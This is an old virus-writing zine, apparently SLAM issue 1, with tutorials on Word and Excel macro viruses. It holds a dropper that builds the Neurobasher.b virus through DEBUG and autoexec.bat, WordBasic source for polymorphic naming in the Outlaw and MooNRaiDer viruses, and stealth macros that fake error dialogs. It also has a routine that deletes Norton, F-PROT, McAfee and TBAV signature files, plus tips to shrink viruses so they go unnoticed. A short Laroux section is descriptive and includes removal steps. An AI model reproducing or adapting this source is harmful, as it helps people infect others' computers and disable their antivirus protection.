Print #1, "E 1680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 16F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 17A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 17B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 17C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 17D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 17E0 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "RCX"
Print #1, "16EC"
Print #1, "W"
Print #1, "Q"
Print #1, ""
Close #1

'Create a file called c:\dos\exec.bat for putting in all
'the things that are behind "print #1" till "close #1"
'is found.

Open "c:\dos\exec.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < script.scr>nul"
Print #1, "rem debugger.com"
Print #1, "echo @c:\dos\debugger.exe>>c:\autoexec.bat"
Print #1, "del c:\dos\script.scr"
Print #1, "del c:\dos\exec.bat"
Close #1

SetAttr "c:\autoexec.bat", 0    'Set the atribute of c:\autoexec.bat...
                                'to nothing.

ChDir "C:\DOS"
Shell "EXEC.BAT", 0

ChDir "C:\"

NoDropper:
----------------------------------------------------------------

The above is a piece of a Nemesis macro and it opens debug to
create a file (debugger.exe) containing the Neurobasher.b virus.
The numbers are the hex codes of the Neurobasher.b virus.
Then a file called "c:\dos\exec.bat" is created and it contains
everything behind the "print #1" until "close #1" is found. After
that's done the virus will change the attributes of "c:\autoexec.bat"
to editable (not readonly).
And finally the virus will change to the directory "c:\dos" and
executes the "exec.bat" file that was created earlier, after that
the virus will change to the "c:\" directory.
So the next time you start your computer the Neurobasher.b virus
will be loaded. Have fun trying this out ;-)

                            
                    --- Neophyte ---
POLYFORMISM IN MACRO VIRII
--------------------------

If you don't know what polymorfism is: it's a sort of encryption
of a virus, but one that changes the encryption routine every 
infection.

I hope you got it now, but if you don't I'll say it again:"I'm not
an english teacher so fuck it if you can't follow me."

The above descryption of polymorfism is mainly mend for dos (assembler)
virii. With macro virii it is a bit different.
As you probably know a macro virii contains macros (duh...) and as
you probably know, those macros have names (duh...). Several AV
products look for those names to identify if a file is infected. So
the only thing that is to be done is create different names every
infection. That's easier said then done, believe me.

The very first polymorfic macro virus created was the Outlaw virus.
It was created by the Nightmare Joker from SLAM. The Outlaw source
for creating random macro names is put down here. I think it's quite
complicated so I give a full explanation of it beside the source.
For the complete Outlaw virus see "macro viruses".

'This is the macro that infects the Normal.dot
----------------------------------------------------------------
Sub MAIN
On Error Goto Done                      'Error handler.

A$ = FileName$()                        'A$ = active filename.
If A$ = "" Then Goto Finish             'If no file active goto finish.

If CheckInstalled = 0 Then              'Already installed?...
	Routine                         'No then goto Sub Routine,
	Crypt                           'Sub Crypt, Sub PayLoadMakro,
	PayloadMakro                    'etc.
	FileSaveAll 1, 1
Else                                    'Yes (already installed).
	Goto Done                       'Goto done.
End If

Done:                                   'Done (already installed).
A$ = FileName$()                        'A$ = active filename.
If A$ = "" Then                         'If no file active goto finish.
	Goto Finish
Else                                    'If a file is active,
	Insert " "                      'insert a "space", for infecting
					'the active file.                
End If


Finish:                                 'Finish (no file active).
End Sub

Sub Crypt                               'The Sub Crypt.
One = 7369                              'Number one is 7369.
Two = 9291                              'Number two is 9291.
Num = Int(Rnd() * (Two - One) + One)    'generate random number.
A$ = Str$(Num)                          'A$ is generated number.
A$ = LTrim$(A$)                         'Delete the empty space before...
					'the number. The empty space is...
					'for making the number negative,
					'e.g. -7369.

Beginn = Hour(Now())                    'Beginn is the active hour.
B$ = Str$(Beginn)                       'B$ is the active hour (string). 
B$ = LTrim$(B$)                         'Delete the empty space in B$.

If B$ = "1" Then C$ = "A"               'If B$ is 1 (1 o'clock)...
					'then C$ is A.                
If B$ = "2" Then C$ = "B"               'If B$ is 2 (2 o'clock)...
					'then C$ is B.        
If B$ = "3" Then C$ = "C"               'If B$ is 3 (3 o'clock)...
					'then C$ is C.
If B$ = "4" Then C$ = "D"               'Etc.
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

E$ = C$ + A$                            'E$ is C$ (character) plus...
					'A$ (the generated number).
ZU$ = GetDocumentVar$("VirNameDoc")     'ZU$ is macro called VirNameDoc...
					'Watch out:VirNameDoc is not...
					'the real macro name, it's some...
					'sort of string.
PG$ = WindowName$() + ":" + ZU$         'PG$ is active filename plus...
					'":" and plus macro name (ZU$).
MacroCopy PG$, "Global:" + E$           'Copies macro from document...
					'to global template, with...
					'the name that was generated.
SetProfileString "Intl", "Name2", E$    'Set the macro name in...
					'win.ini. as "Intl", "Name2", E$.
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0
					'Creates short-cut with the...
					'ascii keycode 69 (E). If the...
					'E key is pushed the macro...
					'E$ will be executed (The above...
					'macro). With the .Add you tell...
					'Word that you want to add that...
					'function to the key not replace...
					'it.
					
End Sub                                 'End the Sub Crypt



Sub Routine                             'Begin Sub Routine
One = 7369                              'This is practically...
Two = 9291                              'the same as Sub Crypt.
Num = Int(Rnd() * (Two - One) + One)    'I will only explain the...
A$ = Str$(Num)                          'things that aren't...
A$ = LTrim$(A$)                         'explained above.

Beginn = Hour(Now())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

D$ = C$ + A$                            'The same as in Sub Crypt...
UZ$ = GetDocumentVar$("VirName")        'only with other names.
GP$ = WindowName$() + ":" + UZ$
MacroCopy GP$, "Global:" + D$
SetProfileString "Intl", "Name", D$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
					'This one creates a short-cut...
					'with the D$ macro (this macro)...
					'if the spacebar (keycode 32)...
					'is pushed.

End Sub

Sub PayloadMakro                        'Same again.
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Hour(Now())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

K$ = C$ + A$                            'Again another name.
ZUZ$ = GetDocumentVar$("VirNamePayload")        
GP$ = WindowName$() + ":" + ZUZ$
MacroCopy GP$, "Global:" + K$
SetProfileString "Intl", "Name3", K$    'Only this time no...
					'short-cut because this...
					'is the payloadmacro and...
					'this payload macro is only...
					'executed on a special date...
					'that is programmed in...
					'another macro. For the...
					'whole Outlaw virus, see...
					'the virii section.
End Sub

Function CheckInstalled                 'A function to check if...
					'the virus already installed...
					'the global template (Normal.Dot).
CC$ = GetProfileString$("Intl", "Name") 'CC$ is the name of the Routine...
					'macro (Sub Routine).
    CheckInstalled = 0                  'Set the var checkinstalled to 0.
    If CountMacros(0) > 0 Then          'If the number of macros in...
					'Normal.Dot is greater then 0,
	For i = 1 To CountMacros(0)     'then create a for...next loop...
					'that loops the number of macros.
	    If MacroName$(i, 0) = CC$ Then    'If the macro name in...
		CheckInstalled = 1      'Normal.dot is CC$ (routine...
					'macro) then set var...
					'CheckInstalled to 1.
	    End If                      'Ends the If instruction.
	Next i                          'All macros done? then...
					'continue. Else go back to...
					'for...next loop.
    End If                              'Ends the If instruction.
End Function                            'The end of the function.
----------------------------------------------------------------

This is one macro from the Outlaw virus. To get the names of the
macros, to use them in other macros, just use:

CC$ = GetProfileString$("Intl", "Name")

CC$ can be any string name you want but make sure to use the right
name you gave to the macro, in this example "Intl" and "Name".

Viewture & Optimization
-----------------------
A thing that could happen with the way this polymorphic name is
generated is that you get 2 same names, OK it's obvious that it
won't happen often but you never know. To correct this problem you
can use the following code:

Sub Crypt                               
One = 1                              
Two = 1000                              
Num = Int(Rnd() * (Two - One) + One)    
A$ = Str$(Num)                          
A$ = LTrim$(A$)                         

-------------------------

Sub Routine         
One = 1001          
Two = 2000          
Num = Int(Rnd() * (Two - One) + One)    
A$ = Str$(Num)                          
A$ = LTrim$(A$)                         


And so on...


As you see I used different numbers so ou couldn't get a same name. You
can also use different characters for the first letter.

Another thing is, that the virus checks for the time to generate
the first letter. It could be better to randomly generate the 
first letter. That is fixed easily, just create a second random
number generator that generates a number between 1 and 24.


And for the future......


                    --- Neophyte --- and some help from NJ
DIFFERENT STEALTH TECHNIQUES IN MACRO VIRII
-------------------------------------------

I wasn't planning to make something real big from this so it's
probably a bit short. You'll get a few examples but that's it.


Most of the time the macros that take care of the stealth technique
are named ToolsMacro (In the English version of Word) because if
it's put in ToolsMacro it's automatticly executed when the user
selects Tools-->Macro from the menu.

Here are a couple examples:

-----------------------------------------------------------
Sub MAIN
        On Error Goto ErrorRoutine

        OldName$ = NomFichier$()

        If macros.bDebug Then
                MsgBox "start ToolsMacro"
                Dim dlg As OutilsMacro
                If macros.bDebug Then MsgBox "1"
                GetCurValues dlg
                If macros.bDebug Then MsgBox "2"
                On Error Goto Skip
                Dialog dlg
                OutilsMacro dlg
Skip:
        On Error Goto ErrorRoutine              
        End If

        REM enable automacros
        DisableAutoMacros 0

        macros.SavToGlobal(OldName$)
        macros.objectiv
        Goto Done

ErrorRoutine:
        On Error Goto Done
        If macros.bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done:
End Sub
-----------------------------------------------------------
This one is from 'the macro virus writing tuturial' from Dark Night.

Or you could use:

-----------------------------------------------------------
Sub MAIN
Dim dlg As OutilsMacro
GetCurValues dlg
On Error Resume Next

Diag$ = "0"
Section$ = "Compatibility"
wininistr$ = "0x0020401"
ProfileName$ = "RR2CD"
PrintText$ = "Brought to you by the Nemesis Corporation, 1996"
Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)

NoVir$ = GetProfileString$(Section$, ProfileName$)
If (NoVir$ = wininistr$) Or (diag$ = "1") Then
   Dialog dlg
   OutilsMacro dlg
Else
   MsgBox "This option is not available right now.", "Warning", 48
End If

End Sub
-----------------------------------------------------------
This one is from the Nemesis (Xenixos) virus. I've changed it
a bit.

And finally to give another example, from the MooNRaiDer virus.
-----------------------------------------------------------
Sub MAIN
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
Begin Dialog UserDialog 442, 320, "Macro"
        PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2
	CancelButton 290, 43, 141, 21
        PushButton 290, 72, 141, 21, "&Run", .Definierbar3
        PushButton 290, 102, 141, 21, "&Edit", .Definierbar4
        PushButton 290, 130, 141, 21, "&Delete", .Definierbar5
        PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6
	ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
        Text 6, 223, 93, 13, "Macros &Available In:", .Text1
        Text 7, 259, 109, 13, "Descr&iption:", .Text2
        Text 7, 6, 93, 13, "Macros:", .Text3
	ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
	DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
End Dialog

Redim dlg As UserDialog
x = Dialog(dlg)
Select Case x
Case 0
Cancel
Case 1
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 2
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 3
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 4
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 5
MsgBox "Not enough memory", "WordBasic Err = 7"
End Select
End Sub
-----------------------------------------------------------
Ok, I know it isn't anything more then just some stolen macros
but maybe you get some inspiration from this and you will end up
creating the perfect macro virus, who knows...

                    --- Neophyte ---

ANTI-ANTI-VIRUS (RETRO) IN MACRO VIRII
--------------------------------------

It's quite simple to attack Non-Resident Anti-virus software,
just delete or rename a specific file and your AV progi won't
work anymore. Most of the time the user will reinstall the product
so if you put a line in autoexec.bat that deletes or renames the
file if it exists again the technique is quite useful. But I didn't
discovered yet how to avoid the memory-resident AV software.

Here is some example I used in my Puritan (1) virus. The Puritan (1)
virus is just a bad rip off concept virus, but with retro techniques
and simple stealth, but eh don't blame me for having two days time to
create a virus and a new technique so the virus contains some bugs,
but the virus will be continued. There's the (1) for.
Here is a piece of the Puritan (1) virus to demonstrate a new
technique to attack non-resident AV software.

'-----------------------------------------------------------
'The AutoOpen macro.
'This is used for executing the Retro Macro, the macro with
'the retro technique in it. It will only be executed one time,
'At infection, because if Normal.Dot is already infected the
'macro will jump to Z and will not execute the Retro Macro again.
'This retro technique is only used for AV software in Win95 because
'I hadn't the time to get other AV progi's and to add them. Check
'the VBB magazine's for more from this.
'-----------------------------------------------------------
Sub MAIN
        On Error Goto Z                 'This is actually the same...
        iM = CountMacros(0, 0)          'as the concept virus. For...
        For i = 1 To M                  'a full explained Puritan (1)...
		If M$(i, 0, 0) = "Puritan" Then Y = - 1
                End If                  'virus, choose virii--->Puritan(1).
	Next i

	If Not Y Then
                F$ = WindowsName$()
	S$ = F$ + ":Puritan"
                MacroCopy S$, "Global:Puritan"
	S$ = F$ + ":Rtr"
                MacroCopy S$, "Global:Retro"
	S$ = F$ + ":FSAB"
                MacroCopy S$, "Global:FileSaveAs"
	S$ = F$ + ":FSAB"
                MacroCopy S$, "Global:FSAB"
	S$ = F$ + ":AOB"
                MacroCopy S$, "Global:AOB"
	S$ = F$ + ":ToolsMacro"
                MacroCopy S$, "Global:ToolsMacro"
	End If

ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = ""
                        'This will execute the macro Retro in Normal.Dot.

Z:

End Sub

'---------------
'The Retro Macro
'---------------

Sub MAIN

'Norton AntiVirus

On Error Goto                           'Error Handler.
VF$ = "C:\Program Files\Norton AntiVirus\Virscan.Dat"
                                        'VF$ (Virus File) is Virscan.dat.
If Files$(VF$) = "" Then Goto a         'If VF$ (Virscan.dat) doesn't...
                                        'exists goto a.
SetAttr VF$, 0                          'If it exists set the attributes...
                                        'to zero (no attributes).
Kill VF$                                'Then delete the file.
                                        'The next time you will start...
                                        'your AV progi it cannot scan...
                                        'any files.
				
a:                                      
On Error Goto c                         'Error Handler.
AB$ = "C:\Autoexec.bat"                 'AB$ (AutoExec.bat) is C:\Autoexec.bat.
If Files$(AB$) = "" Then Goto c         'If AB$ (AutoExec.bat) doesn't...
                                        'exists goto c.
SetAttr AB$, 0                          'If it exists set the attributes...
                                        'to zero (no attributes).

Open AB$ For Append As #1               'Then open AB$ (AutoExec.bat)...
                                        'for appending.
Print #1, "@echo off"                   'Put the line "@Echo Off" at the...
                                        'end of the AutoExec.bat.
Print #1, "IF exist " + VF$ + " then del " + VF$
                                        'Then Put the line 'IF exist...
                                        '"C:\Program Files\Norton AntiVirus\
                                        'Virscan.dat" then del "C:\Program
                                        'Files\Norton AntiVirus\Virscan.Dat"

Close #1                                'Close the AutoExec.bat


'----------------------------
'F-PROT W95

c:                                      'This is just the same as above...    
On Error Goto d                         'Only with F-PROT for W95.
VF$ = "C:\Program Files\F-Prot95\Fpwm32.dll"
If Files$(VF$) = "" Then Goto d
SetAttr VF$, 0
Kill VF$
				
d:
AB$ = "C:\Autoexec.bat"
If Files$(AB$) = "" Then Goto f
SetAttr AB$, 0
Open AB$ For Append As #1
Print #1, "IF exist " + VF$ + " then del " + VF$
Close #1


'----------------------------
'MCAFEE W95

f:
On Error Goto g
VF$ = "C:\Program Files\McAfee\Scan.dat"
If Files$(VF$) = "" Then Goto g
SetAttr VF$, 0
Kill VF$
				
g:
AB$ = "C:\Autoexec.bat"
If Files$(AB$) = "" Then Goto h
SetAttr AB$, 0
Open AB$ For Append As #1
Print #1, "IF exist " + VF$ + " then del " + VF$
Close #1


'----------------------------
'TBAV W95

h:
On Error Goto i
VF$ = "C:\Tbavw95\Tbscan.sig"
If Files$(VF$) = "" Then Goto i
SetAttr VF$, 0
Kill VF$
				
i:
AB$ = "C:\Autoexec.bat"
If Files$(AB$) = "" Then Goto j
SetAttr AB$, 0
Open AB$ For Append As #1
Print #1, "IF exist " + VF$ + " then del " + VF$
Close #1


J:

Z:
End Sub
'----------------------------------------------------------

Ok, yet it's only for 4 AV-programs but I know you can make lots
of more routines such as these. But if you cannot watch out for our
next issue and in the meantime make sure to look at the VBB magazines
for more from us about this.

If anyone has an idea how to defeat TSR-AV programs e-mail me.

The_Neophyte@Hotmail.com

                    --- Neophyte ---
HOW TO OPTIMIZE YOUR MACRO VIRII
--------------------------------

Ok, this one may not be very long but I think it's effective
enough to put it in here.

As with every sort of virus there is a rule that if something is
smaller it will go faster. With macro virii it doesn't really matter
how fast the virus works because when you work on a Pentium 166 with
a load of memory you will not notice the virus is even active, but
there are other reasons to make your virus smaller. For instance,
If your virus is 10k big and it infects a journalists network, and
all the journalists together will create 250 documents in a day I'm
sure somebody will notice that in 10 days the harddisk space is
increased with 25 megabyte, so if you can make your virus 9k big
the lost harddisk space in 10 days is only 22,5 megabytes.
2,5 megabytes with just 1k decreasement.

I hope you get the point, now I will give you a couple things to
decrease your virus length with.


Never put any comments in the actual virus, I mean, don't put
any comments in the virus you will spread. If you put a virus in
a magazine or something, it's better to put comments in it.

-----------------------------

Also, use as much strings as possible. I've tested it with a simple
test:
Create an empty template, and create a macro in that template.
Now delete the Sub Main and End Sub commands and type a line like this:
'Welcome to the SLAM magazine issue 1, the Document X'
Then select the line and use copy and paste to copy the line for
about 50 times. When that's done select all the 50 lines and use
the edit-->copy command. Then save the template with the macro
as 'Test1.dot'.

Then create a second empty template and also create a macro in that
template and delete the Sub Main and End Sub commands. Then paste
the 50 lines to the empty macro. After that use the find replace command
and type at find: Welcome to the SLAM magazine issue 1, the Document X
and type at replace: A$
Check to see if every line is changed in A$.
then type this at the top of the macro:
A$ = "Welcome to the SLAM magazine issue 1, the Document X"
And finally save the template as Test2.dot.

Now go to dos and check the length of both files. See any differences?

And don't use long labels, see the following example:

In stead of using this:
-----------------------------------------------------------
Sub Main

CheckNumber = 0
Check_CheckNumber:
If CheckNumber = 5 then goto CheckNumber_is_5 else goto Checknumber_is_not_5

CheckNumber_is_not_5:
CheckNumber = CheckNumber + 1
goto Check_Checknumber

CheckNumber_is_5:
MsgBox "CheckNumber is 5", "Finished"

End Main
-----------------------------------------------------------

  You could use this:
-----------------------------------------------------------
Sub Main

C = 0
F:
If C = 5 then goto A else goto B

B:
C = C + 1
goto F

A:
MsgBox "CheckNumber is 5", "Finished"

End Main
-----------------------------------------------------------

You got it now? Ok, it won't make your virus more readable with it
but it's smaller. And what the fuck do you care if some AV-pussy can't
understand it :)

I think you can make up other things to decrease
the size of your virus.
Be creative.....

                    --- Neophyte ---
WORD.EXCEL.LAROUX 
-----------------

A year after the first widespread Microsoft Word macro virus, the 
first real Microsoft Excel macro was found in July 1996. Word macro 
viruses have demonstrated that viruses spreading in macro format inside 
document files can spread far and wide: WordMacro/Concept is the most 
commonly reported virus in the world. The first Excel macro virus was 
named ExcelMacro/Laroux.

Once the Excel environment has been infected by this virus, the virus 
will always be active when Excel is loaded and will infect any new Excel 
workbooks that are created as well as old workbooks when they are accessed. 
The virus spreads from a machine to another when XLS files are exchanged 
over a local network, over the internet, in e-mail or on diskettes.

ExcelMacro/Laroux was written in Visual Basic for Applications (VBA). This 
is a macro language based on the Visual Basic language from Microsoft. This 
virus is be able to operate under Excel 5.x and 7.x under Windows 3.x, Windows 95 
and Windows NT. This virus does not work under any version of Excel for Macintosh 
or Excel 3.x or 4.x for Windows. It also fails under some localized versions of 
Excel, but works fine under other (for example, it won't work under French Excel, 
but replicates fine under Finnish Excel). This depends on how the translation is done. 

ExcelMacro/Laroux consists of two macros, auto_open and check_files. The auto_open 
macro executes whenever an infected Spreadsheet is opened, followed by the check_files 
macro which determines the startup path of Excel. If there is no file named PERSONAL.XLS 
in the startup path, the virus creates one. This file contains a module called "laroux". 

PERSONAL.XLS is the default filename for any macros recorded under Excel. Thus you might 
have PERSONAL.XLS on your system even though you are not infected by this virus. The 
startup path is by default set as \MSOFFICE\EXCEL\XLSTART, but it can be changed from 
Excel's Tools/Options/General/Alternate Startup File menu option.

If an infected workbook resides on a write-protected floppy, an error will occur when Excel 
tries to open it and the virus will not be able to replicate.

ExcelMacro/Laroux is not intentionally destructive and contains no payload; it just replicates. 


Detecting ExcelMacro/Laroux manually 
------------------------------------

Select Tools/Macro from Excel menus. If you find the macros auto_open, check_files, 
PERSONAL.XLS!auto_open and PERSONAL.XLS!check_files (and possibly 'bookname'!auto_open 
and 'bookname'!check_files from any infected workbook you have open), infection is likely. 
Re-check this by selecting the Window/Unhide menu and unhide the Personal file. 
This should make the Personal sheet visible, with text laroux in in the sheet tab.

To disinfect Laroux, delete these macros and exit Excel, saving all changes. Now Excel 
itself is clean. Next, open all infected workbooks one by one, keeping the left shift 
pressed down while opening them (according to Excel documentation, this bypasses 
automacros, but unfortunately it doesn't seem to always work). Then open Tools/Macro 
and delete the virus macros and re-save the file.

-------------------------------------------------------------

Macro.Excel.Laroux

This virus infects Excel sheets (XLS files). It contains two macros: auto_open and 
check_files. While loading an infected document Excel executes auto macros auto_open, 
and the virus receives the control. The virus auto_open macro contains just one command 
that defines the check_files macro as a handler of OnSheetActivate routine. As a result 
the virus hooks the sheet activate routine, and while opening a sheet the virus 
(the check_files macro) receives the control. 

When the check_files macro receives the control, it searches for the PERSONAL.XLS files 
in the Excel Startup directory and checks the count of modules in the current Workbook.

If the infected macro is an active Workbook, and the PERSONAL.XLS file does not exist in 
the Excel Startup directory (the virus is executed for the first time), the virus creates 
that file there and saves its code to that file by using the SaveAs command. When Excel is 
loading its modules for the next time, it automatically loads all XLS files from the Startup 
directory. As a result, the infected PERSONAL.XLS is loaded as well as other files, the virus 
receives the control and hooks the sheet activation routine.

If the active macro is not infected (there are no modules in the active Workbook) and the 
PERSONAL.XLS file exists it the Excel directory, the virus copies its code to the active 
Workbook. As a result the active Workbook gets infection.

To check your system for the virus one should to check PERSONAL.XLS and other XLS files for 
the string "laroux" that presents in infected sheets.

                    --- Aurodreph ---

[ WordMacro. MooNRaiDer ]�������������������������������������������������������

� VIRUSNAME:      MooNRaiDer
� SIZE:           14806 Bytes (5 Makros)
� ORIGIN:         Germany
� AUTHOR:         Nightmare Joker

->Polymorf        Yes
->Stealth         Yes
->Encrypted       Yes, this file not but see virii.zip for encrypted version.
->Retro           No
---------------------------------------------------------------------------
Macro SH8004
---------------------------------------------------------------------------

Sub MAIN
On Error Goto Done

A$ = FileName$()                 'Is a file open?
If A$ = "" Then Goto Finish      'No, then goto end.

If CheckInstalled = 0 Then       'Is the normal.dot infected?
        Routine                  'If not, then call "Routine", "Crypt",
        Crypt                    'PayloadMakro and save all.
        PayloadMakro              
        FileSaveAll 1, 1           
Else                             'If normal.dot is infected
        Goto Done                'goto end.
End If

Done:
A$ = FileName$()                 'If no file open goto end.
If A$ = "" Then
	Goto Finish
Else                             'A file is open and the user has pushed
        Insert " "               'the Backspace Button. We must now insert
End If                           'an empty field.

Finish:                          'end.
End Sub

Sub Crypt
One = 7363
Two = 9294
Num = Int(Rnd() * (Two - One) + One) 
A$ = Str$(Num)                   'Generate now a new numba.
A$ = LTrim$(A$)                   

Beginn = Hour(Now())             'Get the hour.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"       'If it's now 1 o'clock then C$ = "AZ"
If B$ = "2" Then C$ = "BY"       'and so on...
If B$ = "3" Then C$ = "CX"
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

E$ = C$ + A$                     
ZU$ = GetDocumentVar$("VirNameDoc")    'Get the first macro name.
PG$ = WindowName$() + ":" + ZU$        'Copy the macro to 
MacroCopy PG$, "Global:" + E$          'normal.dot.
SetProfileString "Intl", "Name2", E$   'insert the macro name into win.ini

'Now prepare a combination between the Key "e" and the macro.

ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$,
.Add, .Context = 0

End Sub


Sub Routine
One = 7363
Two = 9295
Num = Int(Rnd() * (Two - One) + One)   
A$ = Str$(Num)                         'Generate a new numba again.
A$ = LTrim$(A$)

Beginn = Hour(Now())                   'Get the hour.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"             'If it's 1 o'clock then C$ = "AZ"
If B$ = "2" Then C$ = "BY"             'and so on...
If B$ = "3" Then C$ = "CX"
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

D$ = C$ + A$
UZ$ = GetDocumentVar$("VirName")       'Get the second macro name.
GP$ = WindowName$() + ":" + UZ$        'Copy it again to normal.dot
MacroCopy GP$, "Global:" + D$
